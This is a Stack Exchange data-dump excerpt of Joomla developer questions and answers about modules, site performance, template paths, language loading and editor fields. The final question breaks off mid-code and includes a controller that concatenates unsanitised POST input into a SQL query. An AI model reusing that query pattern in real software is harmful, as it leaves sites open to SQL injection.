  <row Id="23285" PostTypeId="2" ParentId="22317" CreationDate="2018-08-06T16:43:34.587" Score="1" Body="&lt;p&gt;This module is not working with Yootheme you can use alternatives like &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Latest News Enhanced (free + pro)&#xA;or &#xA;Tag Similar (free)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both free versions can do much more than the default Recent Artikel Modul and they work with yootheme&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Assign the Modul to ALL MENUS  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make it Public - even for testing&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the Public Recent NEWS Enhanced Modul in YOO Builder&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Place J!Modul where ever you need it&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope it helps, had the exact same problem with YOO and this modul&lt;/p&gt;&#xA;" OwnerUserId="12402" LastActivityDate="2018-08-06T16:43:34.587" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23286" PostTypeId="2" ParentId="23273" CreationDate="2018-08-07T06:43:47.367" Score="4" Body="&lt;pre&gt;&lt;code&gt;define('_JEXEC', 1);&#xA;define('JPATH_BASE', __DIR__ . '/../../..');&#xA;require JPATH_BASE . '/includes/defines.php';&#xA;require JPATH_BASE . '/includes/framework.php';&#xA;&#xA;// Boot the DI container.&#xA;$container = \Joomla\CMS\Factory::getContainer();&#xA;&#xA;// Alias the session service key to the web session service.&#xA;$container-&amp;gt;alias(\Joomla\Session\SessionInterface::class, 'session.web.site');&#xA;&#xA;// Get the application.&#xA;$app      = $container-&amp;gt;get(\Joomla\CMS\Application\SiteApplication::class);&#xA;$template = $app-&amp;gt;getTemplate(true);&#xA;$params   = $template-&amp;gt;params;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2021-08-26T07:04:52.723" LastActivityDate="2021-08-26T07:04:52.723" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23287" PostTypeId="2" ParentId="23281" CreationDate="2018-08-07T15:01:25.417" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/function.html-entity-decode.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;html_entity_decode()&lt;/a&gt;, as suggested by Lodder, is a suitable function call.  If you wish to &quot;mop up&quot; consecutive spaces, a simple, broad sweeping regex call will do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*I have added the unicode pattern modifier for maximum replacement coverage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://3v4l.org/75l2o&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$category = new stdClass();&#xA;$category-&amp;gt;category_name = 'T-Shirts';&#xA;$product = new stdClass();&#xA;$product-&amp;gt;product_name = 'PTB Keep Calm';&#xA;$product-&amp;gt;product_desc = 'PTB Keep Calm This creative design is printed&amp;amp;nbsp;&amp;amp;nbsp;on a&amp;amp;nbsp;Premium Fitted CVC Crew Tee&amp;amp;nbsp; Features:60% combed rin...';&#xA;&#xA;$decoded = strip_tags(html_entity_decode(&quot;Buy &quot; . $category-&amp;gt;category_name.&quot; | &quot;.$product-&amp;gt;product_name.&quot; | &quot;.$product-&amp;gt;product_desc));&#xA;echo $decoded;&#xA;&#xA;echo &quot;\n---\n&quot;;&#xA;&#xA;echo preg_replace('~\s+~u', ' ', $decoded);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Buy T-Shirts | PTB Keep Calm | PTB Keep Calm This creative design is printed  on a Premium Fitted CVC Crew Tee  Features:60% combed rin...&#xA;---&#xA;Buy T-Shirts | PTB Keep Calm | PTB Keep Calm This creative design is printed on a Premium Fitted CVC Crew Tee Features:60% combed rin...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Of course, if you don't have any other entities to decode and you want to condense spaces, you could just use regex.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo preg_replace('~(?:\s|&amp;amp;nbsp;)+~u', ' ', strip_tags(&quot;Buy &quot; . $category-&amp;gt;category_name.&quot; | &quot;.$product-&amp;gt;product_name.&quot; | &quot;.$product-&amp;gt;product_desc));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-08-07T15:22:38.980" LastActivityDate="2018-08-07T15:22:38.980" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23288" PostTypeId="2" ParentId="23283" CreationDate="2018-08-07T15:29:54.343" Score="0" Body="&lt;p&gt;You can safely do this in this scenario. Be sure to backup your database first - just as extra safety - and in the new site's configuration.php change the paths for cache and logs. This is not mandatory, but is recommended if you don't really want to touch anything in the live site - not even these two directories.&lt;/p&gt;&#xA;" OwnerUserId="12584" LastActivityDate="2018-08-07T15:29:54.343" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23289" PostTypeId="2" ParentId="668" CreationDate="2018-08-07T16:17:17.827" Score="1" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die; // Joomla&#xA;$parent_tag_id=12345; // your tag id here&#xA;JLoader::register('TagsHelperRoute', JPATH_BASE . '/components/com_tags/helpers/route.php');&#xA;$tags_tree=JTable::getInstance('Tag', 'TagsTable')-&amp;gt;getTree($parent_tag_id);&#xA;// Show children:&#xA;foreach($tags_tree as $tags_tree_id=&amp;gt;$tags_tree_item) {&#xA;    echo 'DEBUG: ';&#xA;    echo ' id:'    . $tags_tree_item-&amp;gt;id;&#xA;    echo ' level:' . $tags_tree_item-&amp;gt;level;&#xA;    echo ' path:'  . $tags_tree_item-&amp;gt;path;&#xA;    $link=TagsHelperRoute::getTagRoute($tags_tree_item-&amp;gt;id . ':' . $tags_tree_item-&amp;gt;path);&#xA;    echo ' link: ' . JRoute::_( $link, true, 1);&#xA;    echo '&amp;lt;br&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Additonally, to get all parent tag ordered form root to current depth level:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die; // Joomla&#xA;$tag_id=12345; // your tag id here&#xA;$parent_tags=JTable::getInstance('Tag', 'TagsTable')-&amp;gt;getPath($tag_id);&#xA;// Show parents and self:&#xA;foreach($parent_tags as $parent_tags_id=&amp;gt;$parent_tags_item) {&#xA;    echo 'DEBUG: ';&#xA;    echo ' id:'        . $parent_tags_item-&amp;gt;id;&#xA;    echo ' level:'     . $parent_tags_item-&amp;gt;level;&#xA;    echo ' path:'      . $parent_tags_item-&amp;gt;path;&#xA;    echo ' published:' . $parent_tags_item--&amp;gt;published;&#xA;    echo '&amp;lt;br&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please note: you might need to check the published property, as you will get &lt;em&gt;all&lt;/em&gt; tags, even the trashed ones. 1 is published, 0 is hidden, -2 is trashed, 2 is archived.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Router.Route.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/Joomla.CMS.Router.Route.html&lt;/a&gt; also.&lt;/p&gt;&#xA;" OwnerUserId="12744" LastActivityDate="2018-08-07T16:17:17.827" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23290" PostTypeId="2" ParentId="1064" CreationDate="2018-08-07T16:20:18.653" Score="1" Body="&lt;p&gt;try to put just before &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $editor-&amp;gt;save('introtext'); ?&amp;gt;&#xA;var newHTML = $('#introtext').val();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var newHTML = &amp;lt;?php echo $editor-&amp;gt;getContent('introtext'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so the text from the editor will be copied into that &lt;strong&gt;newHTML&lt;/strong&gt; variable&lt;/p&gt;&#xA;&#xA;&lt;p&gt;of course your javascript code must be in the same php form file (not in a standalone js file)&lt;/p&gt;&#xA;" OwnerUserId="12777" LastActivityDate="2018-08-07T16:20:18.653" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23291" PostTypeId="1" CreationDate="2018-08-08T12:52:48.777" Score="6" ViewCount="719" Body="&lt;p&gt;I work as an apprentice web developer who has been left in charge of the web team (all of my colleagues have left) and have been left with an impossible task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a 10-core Windows server, with more than enough memory, and host multiple Joomla! websites, as well as custom-built HTML and PHP websites. There are no issues with the custom-built websites, all loading is instant. However, all of the Joomla! websites (all are eCommerce) are so slow and can take &lt;strong&gt;30 seconds&lt;/strong&gt; to load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have ran multiple speed tests on the websites and believe me, i know what most of you are thinking.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Reduce image size and compress CSS and JavaScript&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have already done this. The issue lies with TTFB (Time To First Byte), as this can take up the whole &lt;strong&gt;30 seconds&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following website shows you the TTFB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.bytecheck.com/results?resource=http%3A%2F%2Fhealthypetstemp.co.uk.5-189-187-215.premierepos.co.uk%2Fen%2F&quot; rel=&quot;noreferrer&quot;&gt;http://www.bytecheck.com/results?resource=http%3A%2F%2Fhealthypetstemp.co.uk.5-189-187-215.premierepos.co.uk%2Fen%2F&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is just one of the Joomla! websites that we host and i can provide more if needed. You can also check the speeds using Google Chrome DevTools, but it will just tell you the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like I said, it is this that is causing the issue and would greatly appreciate some assistance in this matter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="12780" LastActivityDate="2019-06-02T14:05:30.027" Title="Website speed is awful" Tags="|joomla-3.x|component|cache|performance|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23292" PostTypeId="2" ParentId="23291" CreationDate="2018-08-08T14:10:19.253" Score="3" Body="&lt;p&gt;Ok, let's start from the beginning.&lt;/p&gt;&#xA;&lt;p&gt;Firstly, you should be running Chrome's Lighthouse test to detect any performance related issues. In Chrome, press F12, then go to the &lt;code&gt;Audit&lt;/code&gt; tab.&lt;/p&gt;&#xA;&lt;p&gt;I ran an audit on Desktop with no throttling and the performance is simply terrible.&lt;/p&gt;&#xA;&lt;p&gt;So, first thing first, disable the Joomla &lt;strong&gt;JCH Optimize&lt;/strong&gt; plugin so that you can see all of the assets being loaded.&lt;/p&gt;&#xA;&lt;h1&gt;1 - General:&lt;/h1&gt;&#xA;&lt;p&gt;You appear to be loading way too many assets and your Node list is over 4.5k when it should be under 1.5k. Start thinking about changing your page structure and moving certain elements to other pages if need be. Only display critical content on the homepage.&lt;/p&gt;&#xA;&lt;p&gt;As for the many assets, one example being that you're loading 7 fonts. This simply isn't justified at all. If you want to load FontAwesome for icons, that's fair enough, but you do not need 6 other fonts to style your content. This is poor design. Choose 1 font for your brand, stick with it, and remove the rest.&lt;/p&gt;&#xA;&lt;h1&gt;2 - HTTP/2.0:&lt;/h1&gt;&#xA;&lt;p&gt;Get a free SSL certificate from &lt;a href=&quot;https://letsencrypt.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;LetsEncrypt&lt;/a&gt;, install it on your server, then enable HTTP/2.0. This update changes the way assets are fetched and thus will reduce the time taken to load them.&lt;/p&gt;&#xA;&lt;h1&gt;3 - LazyLoad:&lt;/h1&gt;&#xA;&lt;p&gt;A good website in 2018 renders the HTML first with a small chunk of critical CSS so that the initial page load doesn't look all over the place. Once the basic HTML is loaded, you then lazy load your CSS, JS and images. What you're currently going it loading all CSS and JS in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;, meaning the browser will wait until they have downloaded, before it continues rendering the rest of the HTML.&lt;/p&gt;&#xA;&lt;p&gt;I prefer doing this at the template level (faster) rather than relying on plugins...but then against, I'm a UI developer so I develop my own templates.&lt;/p&gt;&#xA;&lt;p&gt;You may want to consider building your own template.&lt;/p&gt;&#xA;&lt;p&gt;Someone I've personally worked with on the Joomla CMS has some great tutorials on how to create your own template:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCSinMbPPdEPx6Hw5QcueITg/featured&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/channel/UCSinMbPPdEPx6Hw5QcueITg/featured&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;4 - SVG'S:&lt;/h1&gt;&#xA;&lt;p&gt;There are several images on your site that can be SVG's instead of PNG's. You're loading 200x200 pixel images and they're being rendered at 94x94. Start using SVG's which will in most cases be smaller in size, and won't lose clarity when the page is zoomed in or on a retina device.&lt;/p&gt;&#xA;&lt;h1&gt;5 - Images:&lt;/h1&gt;&#xA;&lt;p&gt;Your images are simply too large in size for what they are. Each slider image is between 250kb and 500kb. Furthermore, the images are not lazy loaded.&#xA;For images such as photos or anything else that won't perform optimally as an SVG, use WEBP which is a format developed by Google. You will need to have a fallback for browsers that don't support it though.&lt;/p&gt;&#xA;&lt;h1&gt;5 - Caching:&lt;/h1&gt;&#xA;&lt;p&gt;Do not use PHP to cache your assets! Do it at the server level (Apache, NGinx, etc). Have a look around for some tutorials on this or maybe talk to your hosting provider/server amdinistrator.&lt;/p&gt;&#xA;&lt;p&gt;I hope this gives you a little insight to help you improve your product.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2018-08-09T23:06:13.443" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23293" PostTypeId="2" ParentId="23268" CreationDate="2018-08-08T16:54:30.717" Score="1" Body="&lt;p&gt;You have more, than one options: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;JUser BestBefore&lt;/strong&gt;:  &lt;a href=&quot;https://www.innato.nl/offering/software-development/free-downloads-for-joomla/joomla-3-x-plug-ins#plugin_juser_bestbefore_j30&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.innato.nl/offering/software-development/free-downloads-for-joomla/joomla-3-x-plug-ins#plugin_juser_bestbefore_j30&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The others are &lt;strong&gt;Community Builder with CB Auto Actions&lt;/strong&gt; - this one is commercial:&#xA;&lt;a href=&quot;https://www.joomlapolis.com/component/sppagebuilder/?view=page&amp;amp;id=25&amp;amp;Itemid=1249&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlapolis.com/component/sppagebuilder/?view=page&amp;amp;id=25&amp;amp;Itemid=1249&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and &lt;strong&gt;JUserPrune Business edition&lt;/strong&gt; (also comercial): &lt;a href=&quot;https://www.innato.nl/offering/software-development/paid-downloads/joomla-3-x-plug-ins/juserprune-business-j3-detail&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.innato.nl/offering/software-development/paid-downloads/joomla-3-x-plug-ins/juserprune-business-j3-detail&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or yeah, you can write your own CLI script - it is relatively easy.&#xA;Hopefully this helps.&lt;/p&gt;&#xA;" OwnerUserId="12584" LastEditorUserId="126" LastEditDate="2018-09-07T17:27:09.437" LastActivityDate="2018-09-07T17:27:09.437" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23294" PostTypeId="1" CreationDate="2018-08-08T17:42:29.143" Score="2" ViewCount="643" Body="&lt;p&gt;I am using the Helix framework template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to add a font awesome icon to a module or article title? If yes, how do I go about it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen around that you can style a title using the header class in the advanced section of the module, but I am not sure how to go about it.&lt;/p&gt;&#xA;" OwnerUserId="5507" LastEditorUserId="12352" LastEditDate="2018-08-09T23:06:20.087" LastActivityDate="2018-08-19T04:02:37.697" Title="How to style a module or article title with font awesome icons?" Tags="|module|custom-module|helix3|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23297" PostTypeId="1" AcceptedAnswerId="23298" CreationDate="2018-08-09T09:46:49.833" Score="1" ViewCount="1543" Body="&lt;p&gt;To load parts of currently opened view I use default template part loading function &lt;code&gt;$this-&amp;gt;loadTemplate&lt;/code&gt;. &lt;code&gt;$this-&amp;gt;loadTemplate('default_cover');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for easier view management I want to put different view parts in different folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case I would like to know if it's possible to select folder from which to load required view with $this-&gt;loadTemplate function&lt;/p&gt;&#xA;" OwnerUserId="2328" LastActivityDate="2018-08-09T10:40:34.607" Title="Load view in views folder. $this-&gt;loadTemplate from new folder" Tags="|joomla3.8|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23298" PostTypeId="2" ParentId="23297" CreationDate="2018-08-09T10:40:34.607" Score="4" Body="&lt;p&gt;There's view's &lt;code&gt;addTemplatePath()&lt;/code&gt; to add additional lookup paths:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;addTemplatePath(JPATH_BASE . '/components/com_example/templates/example_view');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this, the custom path is prioritized, meaning it would override template overrides in standard folders. To reverse that, reverse the array order of &lt;code&gt;$_path['template']&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;_path['template'] = array_reverse($this-&amp;gt;_path['template']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, instead of using &lt;code&gt;addTemplatePath()&lt;/code&gt;, manually add the path:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;_path['template'][] = JPATH_BASE . '/components/com_example/templates/example_view';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, if you want to allow custom structure in template overrides, add template folder too (also mind the lookup order):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;addTemplatePath(JPATH_THEMES . '/' . JFactory::getTemplate() . '/html/com_example/example_view');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;p.s. I don't endorse using custom folder structure. This only leads to confusion for users trying to make overrides. Perhaps look into using layouts instead?&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-08-09T10:40:34.607" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23301" PostTypeId="1" CreationDate="2018-08-10T04:59:11.813" Score="1" ViewCount="263" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cF5r8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have exhausted all the options (to the best of my knowledge) and there are still 2 seconds of server waiting time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have upgraded to the latest version of Joomla, jch optimize pro, jotcache, gzip, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are using a VPS with decent configurations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clues will be helpful to find out the root cause.&lt;/p&gt;&#xA;" OwnerUserId="12786" LastEditorUserId="12352" LastEditDate="2018-08-10T09:11:19.020" LastActivityDate="2018-09-09T10:00:58.993" Title="Site has 2 seconds of server waiting time" Tags="|joomla-3.x|performance|server-response-time|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23302" PostTypeId="2" ParentId="23301" CreationDate="2018-08-10T08:04:59.820" Score="2" Body="&lt;p&gt;Enabling server side caching can help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, installing the free &lt;a href=&quot;https://www.litespeedtech.com/products/cache-plugins/joomla-acceleration/download&quot; rel=&quot;nofollow noreferrer&quot;&gt;LiteSpeed Cache extension for Joomla 3.x&lt;/a&gt; on a suitably configured LiteSpeed server can dramatically reduce the time to first byte (shown in yellow below):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xKXmg.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xKXmg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2018-08-10T08:04:59.820" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23303" PostTypeId="2" ParentId="23294" CreationDate="2018-08-10T08:18:03.913" Score="3" Body="&lt;p&gt;You could add some custom CSS like this or similar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.page-class .page-header h1::before {&#xA;    font-family: FontAwesome;&#xA;    content: &quot;\f095&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use a page class to target a specific page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find a list of icons and their codes at: &lt;a href=&quot;https://fontawesome.com/cheatsheet&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://fontawesome.com/cheatsheet&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2018-08-19T04:02:37.697" LastActivityDate="2018-08-19T04:02:37.697" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23305" PostTypeId="1" AcceptedAnswerId="23306" CreationDate="2018-08-10T19:13:12.953" Score="2" ViewCount="104" Body="&lt;p&gt;I'm trying to break up my translation strings into several files and avoid parsing them all on every request. I know base language files are loaded at Joomla! application initialization. From the API docs, it seems like I should be able to load an arbitrary language file whenever I want, in a View constructor for instance. I'm using code like the following in such a view constructor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$lang = JFactory::getLanguage();&#xA;$lang-&amp;gt;load('custom', JROOT . DS . 'administrator' . DS . 'components' . DS . 'com_myextension', $lang-&amp;gt;getTag(), true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using language debug, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;**Not loaded** : JROOT/administrator/components/com_myextension/language/en-GB/en-GB.custom.ini&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Directory/file permissions are correctly set. The file is definitely present. There is nothing in the ini file to cause a parse error. The same front-end page correctly loads the component's language file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;**Loaded** : JROOT/components/com_myextension/language/en-GB/en-GB.com_myextension.ini&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm trying to load the custom language file from the backend, because the strings are shared backend/frontend. I've tried moving it to the frontend and loading it from there to no avail. I've carefully checked for spelling mistakes. It doesn't work from a controller constructor either. Can anyone help me understand why this isn't working?&lt;/p&gt;&#xA;" OwnerUserId="12558" LastEditorUserId="12558" LastEditDate="2018-08-10T19:20:25.913" LastActivityDate="2018-08-10T20:04:15.207" Title="Load language file in view constructor" Tags="|joomla-api|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23306" PostTypeId="2" ParentId="23305" CreationDate="2018-08-10T20:04:15.207" Score="3" Body="&lt;p&gt;&lt;code&gt;JROOT&lt;/code&gt; is not a valid path constant. Change it to &lt;code&gt;JPATH_ROOT&lt;/code&gt;. Or use &lt;code&gt;JPATH_ADMINISTRATOR&lt;/code&gt; instead of &lt;code&gt;JROOT . DS . 'administrator'&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-08-10T20:04:15.207" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23307" PostTypeId="2" ParentId="10000" CreationDate="2018-08-12T17:57:44.780" Score="1" Body="&lt;p&gt;Reset the router. The login works fine for me after I do this. I have no idea why this works, but it does.&lt;/p&gt;&#xA;" OwnerUserId="12794" LastEditorUserId="12352" LastEditDate="2018-08-13T09:29:35.420" LastActivityDate="2018-08-13T09:29:35.420" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23308" PostTypeId="2" ParentId="10181" CreationDate="2018-08-12T21:16:09.017" Score="0" Body="&lt;p&gt;In configuration.php, set &lt;code&gt;public $live_site = '';&lt;/code&gt; (only when working on localhost).&#xA;I've been facing this problem myself repeatedly, for years literally, every time forgetting this old trick.&lt;/p&gt;&#xA;" OwnerUserId="9447" LastActivityDate="2018-08-12T21:16:09.017" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23309" PostTypeId="1" AcceptedAnswerId="23314" CreationDate="2018-08-13T12:32:46.067" Score="2" ViewCount="591" Body="&lt;p&gt;In a custom component I need the user in the edit view of an item to be able to load a field in the editor field through modal and ajax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The case is the user can fill an editor field from a text templates in order to avoid writing or copy/paste a bunch of html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is when I set the contents of the editor with javascript, the editor field doesn't change it's value. I have commented as &lt;strong&gt;//Not working&lt;/strong&gt; in the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when I select the value from the modal I am calling a javascript function and saving the contents of the field to the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new problem is that I now have to refresh the page or the field to get the new data from the database to the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searching I found a piece of code that suppose to do that using the set-&gt;redirect but it does not work.&#xA;I also tried to call override and call the save function parrent::save() with the new data but it didn't work also.&#xA;I cannot figure how to make it work.&#xA;So I am open to any suggestions or any other ways I should try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here Is my code :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ajax calls in edit template : &lt;strong&gt;views/contract/tmpl/edit.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type = text/javascript&amp;gt;&#xA;  function loadTemplate(tId, title) {&#xA;    jQuery.ajax({&#xA;      method: &quot;POST&quot;,&#xA;      cache: false,&#xA;      url: 'index.php?option=com_contract&amp;amp;task=template.getTemplate&amp;amp;id=' + tId,&#xA;      data: {id: tId}&#xA;    }).success(function (response) {&#xA;      var data = JSON.parse(response);&#xA;      var tmplText = data.template_text;&#xA;      jQuery(&quot;#templText&quot;).val(&quot;&quot;); //Not working&#xA;      jQuery(&quot;#templText&quot;).val(tmplText); //Not working&#xA;      saveTemplate();&#xA;    }).error(function(error) {&#xA;      console.log('Error : ');&#xA;    });&#xA;  }&#xA;&#xA;  function saveTemplate() {&#xA;    jQuery.ajax({&#xA;      method: &quot;POST&quot;,&#xA;      cache: false,&#xA;      url: 'index.php?option=com_contract&amp;amp;task=contract.saveContractText&amp;amp;id=&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;id?&amp;gt;',&#xA;      data: jQuery(&quot;#tmplForm input&quot;).serialize()&#xA;    }).success(function (response) {&#xA;&#xA;    }).error(function(error) {&#xA;      alert(error);&#xA;    });&#xA;  }&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The template controller : &lt;strong&gt;controllers/template.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ContractControllerTemplate extends JControllerForm {&#xA;&#xA;  public function getTemplate() {&#xA;    $id = $_POST['id'];&#xA;&#xA;    try {&#xA;      $db = JFactory::getDbo();&#xA;      $query = $db-&amp;gt;getQuery(true);&#xA;      $query-&amp;gt;select('id, template_text')&#xA;              -&amp;gt;from('#__contract_templates')&#xA;              -&amp;gt;where('id = ' . $id);&#xA;      $db-&amp;gt;setQuery($query);&#xA;&#xA;      $results = $db-&amp;gt;loadObjectList();&#xA;    } catch (Exception $e) {&#xA;      $msg = $e-&amp;gt;getMessage();&#xA;      JLog::add('Error msg : ' . $msg, JLog::DEBUG, 'getTemplate_controller');&#xA;      JFactory::getApplication()-&amp;gt;enqueueMessage($msg, 'error');&#xA;      echo $msg;&#xA;    }&#xA;&#xA;    echo 